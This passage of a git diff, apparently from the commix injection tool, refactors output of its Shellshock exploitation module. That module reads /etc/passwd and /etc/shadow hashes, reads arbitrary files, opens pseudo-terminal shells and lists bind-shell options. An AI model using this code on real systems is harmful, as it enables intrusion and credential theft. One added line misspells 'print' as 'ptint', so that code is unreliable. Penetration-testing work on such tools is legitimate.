checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -535,8 +494,6 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese output = "".join(str(p) for p in output) if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) return how_long, output else: if settings.VERBOSITY_LEVEL < 2: @@ -549,18 +506,15 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese """ def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : + print(settings.SINGLE_WHITESPACE) if settings.VERBOSITY_LEVEL == 0: - print("\n") - elif settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) + print(settings.SINGLE_WHITESPACE) print(settings.print_output(output)) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) - sys.stdout.write("\n" + settings.print_info_msg(info_msg)) - if not menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) + info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." + sys.stdout.write("\n" + settings.print_info_msg(info_msg) + "\n") else: - err_msg = "The '" + cmd + "' command, does not return any output." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - sys.stdout.write("\r" + settings.print_info_msg(err_msg) + "\n") + err_msg = "The execution of '" + cmd + "' command does not return any output." + sys.stdout.write("\r" + settings.print_error_msg(err_msg) + "\n") # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index 6765d681cf..cf38c43d40 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -64,7 +64,6 @@ Check for custom injection marker (*) """ def check_custom_injection_marker(url): - parameter = "" if url and settings.WILDCARD_CHAR in url: option = "'-u'" @@ -169,6 +168,7 @@ def user_agent_header(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP User-Agent header." print(settings.print_debug_msg(debug_msg)) + """ Examine the request """ @@ -940,12 +940,10 @@ def main(filename, url): checks.user_aborted(filename, url) except NameError: abort_msg = "User quit (Ctrl-C was pressed)." - print(settings.SINGLE_WHITESPACE) print(settings.print_abort_msg(abort_msg)) raise SystemExit() except SystemExit: - print(settings.SINGLE_WHITESPACE) raise SystemExit() except EOFError: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 4338b2b313..7f7b8d5b21 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -83,15 +83,17 @@ def enumeration(url, cve, check_header, filename): # Hostname enumeration #------------------------------- if menu.options.hostname: + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) cmd = settings.HOSTNAME shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: - info_msg = "The hostname is " + str(shell) + "." + info_msg = "Hostname: " + str(shell) + "." print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The hostname is " + str(shell) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -99,10 +101,53 @@ def enumeration(url, cve, check_header, filename): print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True + #------------------------------- + # The current user enumeration + #------------------------------- + if menu.options.current_user: + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) + cmd = settings.CURRENT_USER + cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) + if cu_account: + info_msg = "Current user: " + str(cu_account) + "." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Current user: " + str(cu_account) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + else: + warn_msg = "Heuristics have failed to fetch the current user." + print(settings.print_warning_msg(warn_msg)) + settings.ENUMERATION_DONE = True + + if menu.options.is_root: + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) + cmd = ''.join(cmd).replace("(","").replace(")","") + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + _ = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + _ = "False" + + info_msg = "Current user has excessive privileges: " + str(_) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + #------------------------------- # Retrieve system information #------------------------------- if menu.options.sys_info: + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) cmd = settings.RECOGNISE_OS target_os, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_os: @@ -110,79 +155,29 @@ def enumeration(url, cve, check_header, filename): cmd = settings.DISTRO_INFO distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename) if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" + target_os = target_os + " " + distro_name cmd = settings.RECOGNISE_HP target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) - if target_arch: - info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) + "." + if target_os and target_arch: + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - info_msg = "The underlying operating system is " + target_os + "." + info_msg = "Operating system: " + target_os + "." print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) - settings.ENUMERATION_DONE = True - - #------------------------------- - # The current user enumeration - #------------------------------- - if menu.options.current_user: - cmd = settings.CURRENT_USER - cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) - if cu_account: - if menu.options.is_root: - cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) - cmd = ''.join(cmd).replace("(","").replace(")","") - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + info_msg = "Operating system: " + str(target_os) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() - if shell: - if shell != "0": - print(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - print(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is privileged.\n") - output_file.close() - else: - info_msg = "The current user is " + str(cu_account) + "." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() else: - warn_msg = "Heuristics have failed to identify the current user." + warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True @@ -192,10 +187,9 @@ def enumeration(url, cve, check_header, filename): if menu.options.users: cmd = settings.SYS_USERS sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE info_msg += "' in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_info_msg(info_msg)) try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -205,11 +199,9 @@ def enumeration(url, cve, check_header, filename): sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE - warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " + warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") @@ -221,11 +213,9 @@ def enumeration(url, cve, check_header, filename): for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.SINGLE_WHITESPACE) print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") @@ -266,41 +256,36 @@ def enumeration(url, cve, check_header, filename): else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE - warn_msg += "' file is not in the appropriate format. " - warn_msg += "Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " + warn_msg += "appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) + print(sys_users) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + sys_users) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - print(settings.print_warning_msg(warn_msg)) + ptint(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "'." + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." print(settings.print_warning_msg(warn_msg)) - pass + pass settings.ENUMERATION_DONE = True #------------------------------------- @@ -314,50 +299,50 @@ def enumeration(url, cve, check_header, filename): sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split( ) if len(sys_passes) != 0 : - info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE info_msg += "' in order to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.SINGLE_WHITESPACE) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate (/etc/shadow) format - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE - warn_msg += "' file is not in the appropriate format. " - warn_msg += "Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_info_msg(info_msg)) + sys_passes = sys_passes.replace(" ", "\n") + sys_passes = sys_passes.split() + if len(sys_passes) != 0 : + info_msg = "Identified " + str(len(sys_passes)) + info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + output_file.close() + count = 0 + for line in sys_passes: + count = count + 1 + try: + if ":" in line: + fields = line.split(":") + if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.close() + # Check for appropriate '/etc/shadow' format. + except IndexError: + if count == 1 : + warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " + warn_msg += "in the appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) + print(fields[0]) + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(" " + fields[0]) + output_file.close() + else: + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." + print(settings.print_warning_msg(warn_msg)) + settings.ENUMERATION_DONE = True """ @@ -461,18 +446,19 @@ def file_access(url, cve, check_header, filename): #------------------------------------- if menu.options.file_read: file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Fetching content of the file: '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) # Execute command cmd = "cat " + settings.FILE_READ + file_to_read shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: - info_msg = "Fetched content of the file '" - info_msg += file_to_read + "'." - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(shell)) + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + ".\n" + info_msg = "Fetched file content '" + info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -617,11 +603,7 @@ def shellshock_handler(url, http_request_method, filename): payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - print(settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: print(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) @@ -683,18 +665,19 @@ def shellshock_handler(url, http_request_method, filename): if settings.VERBOSITY_LEVEL != 0: checks.total_of_requests() - info_msg = "The " + check_header + " " + vuln_parameter - info_msg += " seems injectable via " + technique + "." + finding = check_header + " " + vuln_parameter + # Print the findings to terminal. + info_msg = finding + " appears to be injectable via " + technique + "." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(payload)) # Enumeration options. - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: while True: - message = "Do you want to ignore stored session and enumerate again? [Y/n] > " - enumerate_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break @@ -712,8 +695,8 @@ def shellshock_handler(url, http_request_method, filename): # File access options. if settings.FILE_ACCESS_DONE == True: while True: - message = "Do you want to ignore stored session and access files again? [Y/n] > " - file_access_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break @@ -731,33 +714,32 @@ def shellshock_handler(url, http_request_method, filename): if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "Executing the user-supplied command '" + cmd + "'." + info_msg = "Executing the user-supplied command: '" + cmd + "'." if shell: print(settings.print_info_msg(info_msg)) - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, shell)) else: - err_msg = "The '" + cmd + "' command, does not return any output." + err_msg = "The execution of '" + cmd + "' command does not return any output." print(settings.print_critical_msg(err_msg)) - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: + try: + # Pseudo-Terminal shell + go_back = False + go_back_again = False + while True: + if go_back == True: + break + message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) + if gotshell in settings.CHOICE_YES: + print(settings.OS_SHELL_TITLE) + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) @@ -792,41 +774,39 @@ def shellshock_handler(url, http_request_method, filename): print(settings.SINGLE_WHITESPACE) sys.stdout.write(settings.print_payload(payload)) print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." + err_msg = "The execution of '" + cmd + "' command does not return any output." print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + elif gotshell in settings.CHOICE_NO: + if checks.next_attack_vector(technique, go_back) == True: + break + else: + if no_result == True: + return False + else: + logs.logs_notification(filename) + return True - except KeyboardInterrupt: - raise + elif gotshell in settings.CHOICE_QUIT: + raise SystemExit() - except SystemExit: - raise + else: + err_msg = "'" + gotshell + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + continue + break + + except (KeyboardInterrupt, SystemExit): + print(settings.SINGLE_WHITESPACE) + raise - except EOFError: - if not settings.IS_TTY: - print(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise + except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + print(settings.print_error_msg(err_msg)) + raise - except TypeError: - break - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - logs.logs_notification(filename) - return True - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - continue + except TypeError: break if no_result == True: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index ccd7761cb7..4f18522c36 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -158,7 +158,7 @@ def do_GET_check(url, http_request_method): Define the vulnerable GET parameter. """ def vuln_GET_param(url): - urls_list = [] + # Define the vulnerable parameter if "?" not in url: # Grab the value of parameter. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 06cf9ab0d3..d7eb890432 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1183,7 +1183,7 @@ def check_target_os(server_banner): print(settings.print_critical_msg(err_msg)) raise SystemExit() else: - identified_os = "unix-like (" + settings.TARGET_OS + ")" + identified_os = "Unix-like (" + settings.TARGET_OS + ")" if menu.options.os and user_defined_os == "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os @@ -1207,7 +1207,7 @@ def check_target_os(server_banner): if menu.options.batch: if not settings.CHECK_BOTH_OS: settings.CHECK_BOTH_OS = True - check_type = "unix-like based" + check_type = "Unix-like based" elif settings.CHECK_BOTH_OS: settings.TARGET_OS = "win" settings.CHECK_BOTH_OS = False diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index d1acf6c6dc..94aca7f6f8 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -178,13 +178,12 @@ def netcat_version(separator): ] while True: - nc_version = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Netcat bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. -\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) + nc_version = _input("""""" + Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. +commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': @@ -244,18 +243,17 @@ def netcat_version(separator): def other_bind_shells(separator): while True: - other_shell = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Generic bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell. -Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell. -Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. -\n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. -Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. -\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) + other_shell = _input("""""" + Style.BRIGHT + """Available generic bind TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. +""" + Style.BRIGHT + """Available meterpreter bind TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. +commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-bind-shell if other_shell == '1': @@ -457,11 +455,10 @@ def other_bind_shells(separator): def bind_tcp_options(separator): while True: - bind_tcp_option = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. -\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) + bind_tcp_option = _input("""""" + Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. +commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) if bind_tcp_option.lower() == "bind_tcp": warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode." diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 2f12bb71a9..cb887c9905 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -214,13 +214,12 